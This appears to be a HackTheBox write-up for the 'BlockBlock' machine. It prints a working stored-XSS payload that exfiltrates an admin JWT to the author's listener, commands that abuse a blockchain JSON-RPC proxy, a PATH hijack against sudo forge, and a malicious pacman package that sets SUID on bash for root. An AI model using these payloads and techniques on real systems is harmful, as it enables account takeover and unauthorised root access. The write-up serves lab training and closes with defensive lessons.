HTB: BlockBlock Writeup
BlockBlock - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | BlockBlock |
| OS | Linux |
| Difficulty | Hard |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.231.122 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐☆ (4/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
BlockBlock hosts a decentralized chat app (“DBLC”) backed by an Ethereum-style blockchain exposed over JSON-RPC on port 8545. Web app’s “report user” feature feeds unsanitized usernames to admin bot — classic stored XSS, used to steal admin’s JWT via /api/info. Admin cookie unlocks /api/json-rpc auth token, letting attacker proxy raw JSON-RPC calls into chain. Enumerating early blocks and unhexing a contract-creation transaction’s input data leaks plaintext creds for user keira. From there, sudo misconfig lets keira run Foundry’s forge as paul — forge build shells out to git via relative PATH, so PATH hijack yields code exec as paul. paul in turn has NOPASSWD sudo on pacman; abusing its post_install() hook to SUID bash gives root.
TL;DR: Stored XSS in report-user feature → steal admin JWT → /api/json-rpc auth token → dump blockchain blocks → unhex contract-creation tx → keira:SomedayBitCoinWillCollapse → SSH → sudo forge build PATH hijack (git) → shell as paul → sudo pacman -U malicious package (post_install SUID bash) → root.
Reconnaissance
Port Scanning
# nmap against target from jump boxnmap -sC -sV -T4 -p- 10.129.231.122Results:
| Port | Service | Notes |
|---|---|---|
| 22 | SSH | OpenSSH |
| 80 | HTTP | Werkzeug — “DBLC” decentralized chat app |
| 8545 | HTTP | Ethereum JSON-RPC endpoint |
Service Enumeration
Port 8545 answers Ethereum JSON-RPC calls. Unauthenticated eth_blockNumber works:
curl -s http://10.129.231.122:8545 \ -H 'Content-Type: application/json' \ -d '{"jsonrpc":"2.0","method":"eth_blockNumber","params":[],"id":1}'# -> block number 12Other RPC methods (e.g. eth_getBlockByNumber) return 401 — proxy requires a token. Chain has 12 blocks total, meaning at least one is a contract-creation transaction worth inspecting later.
Port 80 hosts a chat app. Registered account (dvz01) exposed:
/chat— messaging UI with a “Report User” button/api/info— returns caller’s role + JWT/api/report_user— forwards a supplied username to an admin-controlled bot for review
Vulnerability Assessment
- Stored XSS in
/api/report_user: submitted username rendered unsanitized in admin’s bot session. - Sensitive endpoint
/api/infoleaks the caller’s JWT — high-value XSS target since stealing admin’s session = stealing admin’s token. - JSON-RPC proxy gated by a separate
tokenheader, obtainable once authenticated as admin via/api/json-rpc(GET).
Initial Foothold
Exploitation Path
1. Confirm XSS via /api/report_user. Payload uses eval(atob(...)) to keep the report field short while running arbitrary JS in the admin bot’s browser:
// decoded payload logic — runs in admin's session when bot visits reported profile(async () => { const r = await fetch('/api/info'); // grabs admin role + JWT const d = await r.json(); fetch('http://10.10.15.68:8000/?data=' + btoa(JSON.stringify(d))); // exfil to my listener})();Base64-encoded and wrapped:
<img src=1 onerror=eval(atob("...."))>2. Stand up listener on jump box (tun0 = 10.10.15.68):
setsid python3 -m http.server 8000 --bind 0.0.0.0 >/tmp/xss.log 2>&1 < /dev/null &3. Submit payload as the username via /api/report_user. Admin bot fires it; callback lands with base64 blob containing role: admin and a valid JWT.
Why this works: /api/info trusts the session cookie, not the caller’s identity beyond that — so any JS running in the admin’s browser context (via XSS) can read the admin’s own token and exfiltrate it cross-origin.
4. Use stolen admin JWT as cookie against GET /api/json-rpc → returns an authorization token (9aee52...c2706) required for POST /api/json-rpc.
5. Proxy JSON-RPC calls through the app using both the admin cookie and the token header:
curl -s -X POST http://10.129.231.122/api/json-rpc \ -H "token: 9aee52...c2706" \ -H "Cookie: token=<ADMIN_JWT>" \ -H "Content-Type: application/json" \ -d '{"jsonrpc":"2.0","method":"eth_getBlockByNumber","params":["latest",false],"id":0}'Confirmed working — full blockchain access unlocked.
6. Enumerate blocks 0–11, pull tx hashes, dump tx details, unhex contract-creation input:
# enum.py (run on jump box against the proxy)import json, subprocess, binascii
ATOK = "..." # authorization tokenADMIN_JWT = "..." # stolen admin cookie
for block in range(12): # fetch block -> extract tx hashes # fetch each tx -> pull 'input' field for contract-creation txs # binascii.unhexlify the ASCII-looking tail of input to recover plaintext ...One contract-creation transaction’s input field, once unhexed, revealed plaintext strings passed to the constructor (mirrors the pattern of a Database.sol-style contract taking username/password args): keira / SomedayBitCoinWillCollapse.
7. SSH in:
ssh keira@10.129.231.122# password: SomedayBitCoinWillCollapseid# uid=1000(keira) gid=1000(keira) groups=1000(keira)cat /home/keira/user.txt# <redacted>Privilege Escalation
keira → paul
sudo -lforge (Foundry’s build tool) is written in Rust and shells out to git internally to check submodule status — but calls it bare (git, not /usr/bin/git), relying on $PATH resolution. Since sudo here is scoped to run as paul (not root), and doesn’t reset PATH to a safe default in a way that blocks user-writable dirs, a directory prepended to PATH lets an attacker-controlled git execute as paul.
mkdir -p /tmp/xcat > /tmp/x/git << 'EOF'#!/bin/bash# malicious git stub: runs as paul when forge shells out to it{ # payload executed here, e.g. drop a script / trigger next stage}EOFchmod +x /tmp/x/gitexport PATH=/tmp/x:$PATH
sudo -u paul /home/paul/.foundry/bin/forge buildforge build invoked our fake git → code execution as paul.
paul → root
sudo -lPacman is Arch’s package manager. sudo-able pacman = root code exec via a package’s post_install() hook, which pacman runs as root right after install.
# built inside the git-hijack payload, running as paulmkdir -p /tmp/x/pkg/rootcd /tmp/x/pkgtar -czf root.tar.gz root
cat > root.install << 'EOF'post_install() { chmod u+s /usr/bin/bash # SUID bash -> instant root shell via bash -p}EOF
cat > PKGBUILD << 'EOF'pkgname=privescpkgver=1.0pkgrel=1pkgdesc="priv esc"arch=('x86_64')url="https://example.com"license=('GPL')install=root.installsource=()package() { mkdir -p "$pkgdir/usr/bin"}EOF
makepkg --skipintegsudo pacman -U privesc-1.0-1-x86_64.pkg.tar.zst --noconfirmPackage installs, post_install() fires as root, sets SUID bit on /usr/bin/bash:
bash -pid# uid=1001(paul) euid=0(root) ...cat /root/root.txt# <redacted>Cleanup performed: removed SUID bit from /usr/bin/bash and deleted temp files/packages under /tmp to restore box state.
Attack Chain Summary
Register user on DBLC chat app → Stored XSS in /api/report_user (admin bot renders unsanitized username) → Steal admin JWT via /api/info exfil to attacker listener → GET /api/json-rpc with admin cookie → obtain RPC authorization token → POST /api/json-rpc (token + admin cookie) → full blockchain access → Enumerate blocks 0-11, dump tx inputs → Unhex contract-creation tx input → keira:SomedayBitCoinWillCollapse → SSH as keira → user.txt → sudo -l: (paul) NOPASSWD forge build → PATH hijack of `git` → shell as paul → sudo -l: (ALL) NOPASSWD pacman → malicious pkg post_install() → SUID bash → bash -p → root.txtTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning |
curl | HTTP/JSON-RPC interaction, XSS payload delivery |
python3 -m http.server | XSS exfil listener |
| Custom Python script | Block/tx enumeration over hijacked JSON-RPC proxy |
binascii/hex decode | Recovering plaintext creds from tx input data |
ssh / sshpass | Remote access as keira |
forge (Foundry) | Sudo target abused for PATH hijack |
pacman / makepkg | Malicious package post_install() hook for root |
Key Learnings
Techniques Practiced
- Stored XSS exploitation against an admin-facing bot workflow
- JWT/session token theft via authenticated fetch + exfil
- Reverse-engineering an app’s blockchain JSON-RPC auth flow to build a working proxy
- Enumerating and parsing Ethereum-style block/transaction data for leaked secrets
- Hex-decoding contract-creation
inputfields to recover constructor arguments - Sudo PATH-hijack privilege escalation via a trusted binary shelling out to an unqualified command
- Package-manager
post_install()hook abuse for root via SUID
Lessons Learned
- Any endpoint that echoes user-controlled data into a privileged (admin) context needs strict output encoding —
/api/report_userhad none. - Storing credentials as plaintext constructor arguments in a smart contract’s deployment bytecode is equivalent to storing them in cleartext — anyone with chain read access can recover them via hex decode.
sudorules granting execution of a specific binary don’t sanitize that binary’s own environment; if the binary trusts$PATHfor subprocess calls (likeforge→git), the sudo grant is really “run arbitrary code as target user.”- Granting
sudo pacman(or any package manager with install-time hooks) is equivalent to unrestricted root — hooks execute with the privileges of the invoking sudo call.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- dotguy, “BlockBlock” HackTheBox writeup (Machine Author: 0xOZ, 15 March 2025) — used for background on the
Chat.sol/Database.solcontract structure, thepost_install()pacman-abuse technique writeup link, and general explanation of why the FoundryRUST_LOG=tracetrace exposes the baregitcall. All IPs, tokens, and command output in this writeup are from the author’s own live solve session.